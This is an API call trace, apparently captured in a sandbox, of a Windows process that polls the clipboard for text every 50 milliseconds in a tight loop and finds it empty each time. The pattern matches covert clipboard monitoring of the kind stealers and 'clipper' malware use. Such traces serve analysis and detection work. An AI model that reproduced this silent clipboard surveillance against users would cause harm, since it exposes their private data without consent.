[0242.133] Sleep (dwMilliseconds=0x32)
[0242.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb4accb0, dwHighDateTime=0x1d96e12))
[0242.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.148] GetClipboardData (uFormat=0x1) returned 0x0
[0242.148] CloseClipboard () returned 1
[0242.149] Sleep (dwMilliseconds=0x32)
[0242.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb4d2efa, dwHighDateTime=0x1d96e12))
[0242.165] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.165] GetClipboardData (uFormat=0x1) returned 0x0
[0242.165] CloseClipboard () returned 1
[0242.166] Sleep (dwMilliseconds=0x32)
[0242.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb4f9122, dwHighDateTime=0x1d96e12))
[0242.179] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.179] GetClipboardData (uFormat=0x1) returned 0x0
[0242.180] CloseClipboard () returned 1
[0242.180] Sleep (dwMilliseconds=0x32)
[0242.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb51f38b, dwHighDateTime=0x1d96e12))
[0242.196] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.196] GetClipboardData (uFormat=0x1) returned 0x0
[0242.196] CloseClipboard () returned 1
[0242.196] Sleep (dwMilliseconds=0x32)
[0242.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb5455fd, dwHighDateTime=0x1d96e12))
[0242.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.211] GetClipboardData (uFormat=0x1) returned 0x0
[0242.211] CloseClipboard () returned 1
[0242.211] Sleep (dwMilliseconds=0x32)
[0242.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb56b82e, dwHighDateTime=0x1d96e12))
[0242.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.226] GetClipboardData (uFormat=0x1) returned 0x0
[0242.226] CloseClipboard () returned 1
[0242.226] Sleep (dwMilliseconds=0x32)
[0242.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb591a9b, dwHighDateTime=0x1d96e12))
[0242.243] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.243] GetClipboardData (uFormat=0x1) returned 0x0
[0242.243] CloseClipboard () returned 1
[0242.243] Sleep (dwMilliseconds=0x32)
[0242.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb5b7d1a, dwHighDateTime=0x1d96e12))
[0242.258] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.258] GetClipboardData (uFormat=0x1) returned 0x0
[0242.258] CloseClipboard () returned 1
[0242.258] Sleep (dwMilliseconds=0x32)
[0242.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb5ddf42, dwHighDateTime=0x1d96e12))
[0242.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.273] GetClipboardData (uFormat=0x1) returned 0x0
[0242.273] CloseClipboard () returned 1
[0242.273] Sleep (dwMilliseconds=0x32)
[0242.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb60419e, dwHighDateTime=0x1d96e12))
[0242.290] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.290] GetClipboardData (uFormat=0x1) returned 0x0
[0242.290] CloseClipboard () returned 1
[0242.290] Sleep (dwMilliseconds=0x32)
[0242.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb62a3fe, dwHighDateTime=0x1d96e12))
[0242.304] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.304] GetClipboardData (uFormat=0x1) returned 0x0
[0242.304] CloseClipboard () returned 1
[0242.305] Sleep (dwMilliseconds=0x32)
[0242.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb650655, dwHighDateTime=0x1d96e12))
[0242.321] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.321] GetClipboardData (uFormat=0x1) returned 0x0
[0242.321] CloseClipboard () returned 1
[0242.321] Sleep (dwMilliseconds=0x32)
[0242.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb6768af, dwHighDateTime=0x1d96e12))
[0242.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.336] GetClipboardData (uFormat=0x1) returned 0x0
[0242.336] CloseClipboard () returned 1
[0242.336] Sleep (dwMilliseconds=0x32)
[0242.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb69cb5a, dwHighDateTime=0x1d96e12))
[0242.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.351] GetClipboardData (uFormat=0x1) returned 0x0
[0242.351] CloseClipboard () returned 1
[0242.351] Sleep (dwMilliseconds=0x32)
[0242.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb6c2d5b, dwHighDateTime=0x1d96e12))
[0242.368] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.369] GetClipboardData (uFormat=0x1) returned 0x0
[0242.369] CloseClipboard () returned 1
[0242.369] Sleep (dwMilliseconds=0x32)
[0242.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb6e8fc8, dwHighDateTime=0x1d96e12))
[0242.382] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.383] GetClipboardData (uFormat=0x1) returned 0x0
[0242.383] CloseClipboard () returned 1
[0242.383] Sleep (dwMilliseconds=0x32)
[0242.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb70f237, dwHighDateTime=0x1d96e12))
[0242.398] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.398] GetClipboardData (uFormat=0x1) returned 0x0
[0242.398] CloseClipboard () returned 1
[0242.398] Sleep (dwMilliseconds=0x32)
[0242.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb735470, dwHighDateTime=0x1d96e12))
[0242.415] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.415] GetClipboardData (uFormat=0x1) returned 0x0
[0242.415] CloseClipboard () returned 1
[0242.415] Sleep (dwMilliseconds=0x32)
[0242.436] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb75b6b1, dwHighDateTime=0x1d96e12))
[0242.436] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.436] GetClipboardData (uFormat=0x1) returned 0x0
[0242.436] CloseClipboard () returned 1
[0242.436] Sleep (dwMilliseconds=0x32)
[0242.445] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb78195e, dwHighDateTime=0x1d96e12))
[0242.445] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.445] GetClipboardData (uFormat=0x1) returned 0x0
[0242.445] CloseClipboard () returned 1
[0242.445] Sleep (dwMilliseconds=0x32)
[0242.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb7a7bb6, dwHighDateTime=0x1d96e12))
[0242.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.461] GetClipboardData (uFormat=0x1) returned 0x0
[0242.461] CloseClipboard () returned 1
[0242.461] Sleep (dwMilliseconds=0x32)
[0242.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb7cde1c, dwHighDateTime=0x1d96e12))
[0242.476] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.476] GetClipboardData (uFormat=0x1) returned 0x0
[0242.477] CloseClipboard () returned 1
[0242.477] Sleep (dwMilliseconds=0x32)
[0242.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb7f4048, dwHighDateTime=0x1d96e12))
[0242.493] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.493] GetClipboardData (uFormat=0x1) returned 0x0
[0242.493] CloseClipboard () returned 1
[0242.493] Sleep (dwMilliseconds=0x32)
[0242.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb81a2ce, dwHighDateTime=0x1d96e12))
[0242.507] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.507] GetClipboardData (uFormat=0x1) returned 0x0
[0242.508] CloseClipboard () returned 1
[0242.508] Sleep (dwMilliseconds=0x32)
[0242.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb840510, dwHighDateTime=0x1d96e12))
[0242.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.523] GetClipboardData (uFormat=0x1) returned 0x0
[0242.523] CloseClipboard () returned 1
[0242.523] Sleep (dwMilliseconds=0x32)
[0242.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb86676d, dwHighDateTime=0x1d96e12))
[0242.540] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.540] GetClipboardData (uFormat=0x1) returned 0x0
[0242.540] CloseClipboard () returned 1
[0242.540] Sleep (dwMilliseconds=0x32)
[0242.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb88c9b5, dwHighDateTime=0x1d96e12))
[0242.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.554] GetClipboardData (uFormat=0x1) returned 0x0
[0242.554] CloseClipboard () returned 1
[0242.554] Sleep (dwMilliseconds=0x32)
[0242.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb8b2c0b, dwHighDateTime=0x1d96e12))
[0242.571] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.571] GetClipboardData (uFormat=0x1) returned 0x0
[0242.572] CloseClipboard () returned 1
[0242.572] Sleep (dwMilliseconds=0x32)
[0242.593] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb8d8e52, dwHighDateTime=0x1d96e12))
[0242.593] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.593] GetClipboardData (uFormat=0x1) returned 0x0
[0242.593] CloseClipboard () returned 1
[0242.593] Sleep (dwMilliseconds=0x32)
[0242.605] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb8ff090, dwHighDateTime=0x1d96e12))
[0242.605] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.605] GetClipboardData (uFormat=0x1) returned 0x0
[0242.605] CloseClipboard () returned 1
[0242.605] Sleep (dwMilliseconds=0x32)
[0242.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb925408, dwHighDateTime=0x1d96e12))
[0242.618] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.619] GetClipboardData (uFormat=0x1) returned 0x0
[0242.619] CloseClipboard () returned 1
[0242.619] Sleep (dwMilliseconds=0x32)
[0242.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb94b568, dwHighDateTime=0x1d96e12))
[0242.632] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.633] GetClipboardData (uFormat=0x1) returned 0x0
[0242.633] CloseClipboard () returned 1
[0242.633] Sleep (dwMilliseconds=0x32)
[0242.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb9717b8, dwHighDateTime=0x1d96e12))
[0242.648] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.648] GetClipboardData (uFormat=0x1) returned 0x0
[0242.648] CloseClipboard () returned 1
[0242.648] Sleep (dwMilliseconds=0x32)
[0242.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb997a0c, dwHighDateTime=0x1d96e12))
[0242.671] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.671] GetClipboardData (uFormat=0x1) returned 0x0
[0242.671] CloseClipboard () returned 1
[0242.671] Sleep (dwMilliseconds=0x32)
[0242.681] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb9bdc7f, dwHighDateTime=0x1d96e12))
[0242.681] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.681] GetClipboardData (uFormat=0x1) returned 0x0
[0242.681] CloseClipboard () returned 1
[0242.681] Sleep (dwMilliseconds=0x32)
[0242.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb9e3ec7, dwHighDateTime=0x1d96e12))
[0242.697] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.697] GetClipboardData (uFormat=0x1) returned 0x0
[0242.697] CloseClipboard () returned 1
[0242.697] Sleep (dwMilliseconds=0x32)
[0242.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeba0a123, dwHighDateTime=0x1d96e12))
[0242.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.711] GetClipboardData (uFormat=0x1) returned 0x0
[0242.711] CloseClipboard () returned 1
[0242.711] Sleep (dwMilliseconds=0x32)
[0242.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeba30382, dwHighDateTime=0x1d96e12))
[0242.726] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.726] GetClipboardData (uFormat=0x1) returned 0x0
[0242.726] CloseClipboard () returned 1
[0242.726] Sleep (dwMilliseconds=0x32)
[0242.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeba565d8, dwHighDateTime=0x1d96e12))
[0242.743] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.743] GetClipboardData (uFormat=0x1) returned 0x0
[0242.743] CloseClipboard () returned 1
[0242.743] Sleep (dwMilliseconds=0x32)
[0242.758] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeba7c82c, dwHighDateTime=0x1d96e12))
[0242.758] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.758] GetClipboardData (uFormat=0x1) returned 0x0
[0242.758] CloseClipboard () returned 1
[0242.758] Sleep (dwMilliseconds=0x32)
[0242.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xebaa2a84, dwHighDateTime=0x1d96e12))
[0242.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.773] GetClipboardData (uFormat=0x1) returned 0x0
[0242.773] CloseClipboard () returned 1
[0242.773] Sleep (dwMilliseconds=0x32)
[0242.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xebac8ce7, dwHighDateTime=0x1d96e12))
[0242.790] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.790] GetClipboardData (uFormat=0x1) returned 0x0
[0242.790] CloseClipboard () returned 1
[0242.790] Sleep (dwMilliseconds=0x32)
[0242.805] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xebaeef43, dwHighDateTime=0x1d96e12))
[0242.805] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.805] GetClipboardData (uFormat=0x1) returned 0x0
[0242.805] CloseClipboard () returned 1
[0242.805] Sleep (dwMilliseconds=0x32)
[0242.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xebb1519d, dwHighDateTime=0x1d96e12))
[0242.821] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.821] GetClipboardData (uFormat=0x1) returned 0x0
[0242.821] CloseClipboard () returned 1
[0242.822] Sleep (dwMilliseconds=0x32)
[0242.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xebb3b43e, dwHighDateTime=0x1d96e12))
[0242.836] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.836] GetClipboardData (uFormat=0x1) returned 0x0
[0242.836] CloseClipboard () returned 1
[0242.836] Sleep (dwMilliseconds=0x32)
[0242.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xebb61662, dwHighDateTime=0x1d96e12))
[0242.851] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.851] GetClipboardData (uFormat=0x1) returned 0x0
[0242.851] CloseClipboard () returned 1
[0242.851] Sleep (dwMilliseconds=0x32)
[0242.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xebb8791f, dwHighDateTime=0x1d96e12))
[0242.868] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.868] GetClipboardData (uFormat=0x1) returned 0x0
[0242.868] CloseClipboard () returned 1
[0242.868] Sleep (dwMilliseconds=0x32)
[0242.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xebbadb04, dwHighDateTime=0x1d96e12))
[0242.883] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.883] GetClipboardData (uFormat=0x1) returned 0x0
[0242.883] CloseClipboard () returned 1
[0242.883] Sleep (dwMilliseconds=0x32)
[0242.899] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xebbd3e09, dwHighDateTime=0x1d96e12))
[0242.899] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.899] GetClipboardData (uFormat=0x1) returned 0x0
[0242.899] CloseClipboard () returned 1
[0242.901] Sleep (dwMilliseconds=0x32)
[0242.917] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xebbfa067, dwHighDateTime=0x1d96e12))
[0242.917] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.917] GetClipboardData (uFormat=0x1) returned 0x0
[0242.917] CloseClipboard () returned 1
[0242.917] Sleep (dwMilliseconds=0x32)
[0242.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xebc202cb, dwHighDateTime=0x1d96e12))
[0242.930] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.930] GetClipboardData (uFormat=0x1) returned 0x0
[0242.930] CloseClipboard () returned 1
[0242.930] Sleep (dwMilliseconds=0x32)
[0242.945] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xebc4652b, dwHighDateTime=0x1d96e12))
[0242.945] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.945] GetClipboardData (uFormat=0x1) returned 0x0
[0242.945] CloseClipboard () returned 1
[0242.945] Sleep (dwMilliseconds=0x32)
[0242.967] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xebc6c776, dwHighDateTime=0x1d96e12))
[0242.967] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.967] GetClipboardData (uFormat=0x1) returned 0x0
[0242.967] CloseClipboard () returned 1
[0242.967] Sleep (dwMilliseconds=0x32)
[0242.978] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xebc929cc, dwHighDateTime=0x1d96e12))
[0242.978] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.978] GetClipboardData (uFormat=0x1) returned 0x0
[0242.979] CloseClipboard () returned 1
[0242.979] Sleep (dwMilliseconds=0x32)
[0242.994] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xebcb8c18, dwHighDateTime=0x1d96e12))
[0242.994] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.994] GetClipboardData (uFormat=0x1) returned 0x0
[0242.994] CloseClipboard () returned 1
[0242.994] Sleep (dwMilliseconds=0x32)
[0243.008] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xebcdef67, dwHighDateTime=0x1d96e12))
[0243.008] OpenClipboard (hWndNewOwner=0x0) returned 1
[0243.008] GetClipboardData (uFormat=0x1) returned 0x0
[0243.008] CloseClipboard () returned 1
[0243.008] Sleep (dwMilliseconds=0x32)
[0243.177] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xebe5c57e, dwHighDateTime=0x1d96e12))
[0243.177] OpenClipboard (hWndNewOwner=0x0) returned 1
[0243.364] GetClipboardData (uFormat=0x1) returned 0x0
[0243.364] CloseClipboard () returned 1
[0243.364] Sleep (dwMilliseconds=0x32)
[0243.610] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec28877e, dwHighDateTime=0x1d96e12))
[0243.610] OpenClipboard (hWndNewOwner=0x0) returned 1
[0243.610] GetClipboardData (uFormat=0x1) returned 0x0
[0243.610] CloseClipboard () returned 1
[0243.610] Sleep (dwMilliseconds=0x32)
[0243.623] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec2ae9ab, dwHighDateTime=0x1d96e12))
[0243.623] OpenClipboard (hWndNewOwner=0x0) returned 1
[0243.623] GetClipboardData (uFormat=0x1) returned 0x0
[0243.623] CloseClipboard () returned 1
[0243.623] Sleep (dwMilliseconds=0x32)
[0243.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec2d4bff, dwHighDateTime=0x1d96e12))
[0243.633] OpenClipboard (hWndNewOwner=0x0) returned 1
[0243.633] GetClipboardData (uFormat=0x1) returned 0x0
[0243.633] CloseClipboard () returned 1
[0243.633] Sleep (dwMilliseconds=0x32)
[0243.732] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec3b9a27, dwHighDateTime=0x1d96e12))
[0243.733] OpenClipboard (hWndNewOwner=0x0) returned 1
[0243.733] GetClipboardData (uFormat=0x1) returned 0x0
[0243.733] CloseClipboard () returned 1
[0243.733] Sleep (dwMilliseconds=0x32)
[0243.755] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec3dfc7d, dwHighDateTime=0x1d96e12))
[0243.755] OpenClipboard (hWndNewOwner=0x0) returned 1
[0243.755] GetClipboardData (uFormat=0x1) returned 0x0
[0243.755] CloseClipboard () returned 1
[0243.755] Sleep (dwMilliseconds=0x32)
[0243.758] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec405ec5, dwHighDateTime=0x1d96e12))
[0243.758] OpenClipboard (hWndNewOwner=0x0) returned 1
[0243.758] GetClipboardData (uFormat=0x1) returned 0x0
[0243.758] CloseClipboard () returned 1
[0243.758] Sleep (dwMilliseconds=0x32)
[0243.775] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec42c14e, dwHighDateTime=0x1d96e12))
[0243.775] OpenClipboard (hWndNewOwner=0x0) returned 1
[0243.775] GetClipboardData (uFormat=0x1) returned 0x0
[0243.775] CloseClipboard () returned 1
[0243.775] Sleep (dwMilliseconds=0x32)
[0243.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec4523a6, dwHighDateTime=0x1d96e12))
[0243.790] OpenClipboard (hWndNewOwner=0x0) returned 1
[0243.790] GetClipboardData (uFormat=0x1) returned 0x0
[0243.790] CloseClipboard () returned 1
[0243.790] Sleep (dwMilliseconds=0x32)
[0243.805] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec4785e4, dwHighDateTime=0x1d96e12))
[0243.805] OpenClipboard (hWndNewOwner=0x0) returned 1
[0243.805] GetClipboardData (uFormat=0x1) returned 0x0
[0243.805] CloseClipboard () returned 1
[0243.805] Sleep (dwMilliseconds=0x32)
[0243.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec49e840, dwHighDateTime=0x1d96e12))
[0243.821] OpenClipboard (hWndNewOwner=0x0) returned 1
[0243.822] GetClipboardData (uFormat=0x1) returned 0x0
[0243.822] CloseClipboard () returned 1
[0243.822] Sleep (dwMilliseconds=0x32)
[0243.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec4c4a5c, dwHighDateTime=0x1d96e12))
[0243.836] OpenClipboard (hWndNewOwner=0x0) returned 1
[0243.836] GetClipboardData (uFormat=0x1) returned 0x0
[0243.836] CloseClipboard () returned 1
[0243.836] Sleep (dwMilliseconds=0x32)
[0243.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec4eacfc, dwHighDateTime=0x1d96e12))
[0243.851] OpenClipboard (hWndNewOwner=0x0) returned 1
[0243.851] GetClipboardData (uFormat=0x1) returned 0x0
[0243.851] CloseClipboard () returned 1
[0243.851] Sleep (dwMilliseconds=0x32)
[0243.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec510f6e, dwHighDateTime=0x1d96e12))
[0243.868] OpenClipboard (hWndNewOwner=0x0) returned 1
[0243.868] GetClipboardData (uFormat=0x1) returned 0x0
[0243.869] CloseClipboard () returned 1
[0243.869] Sleep (dwMilliseconds=0x32)
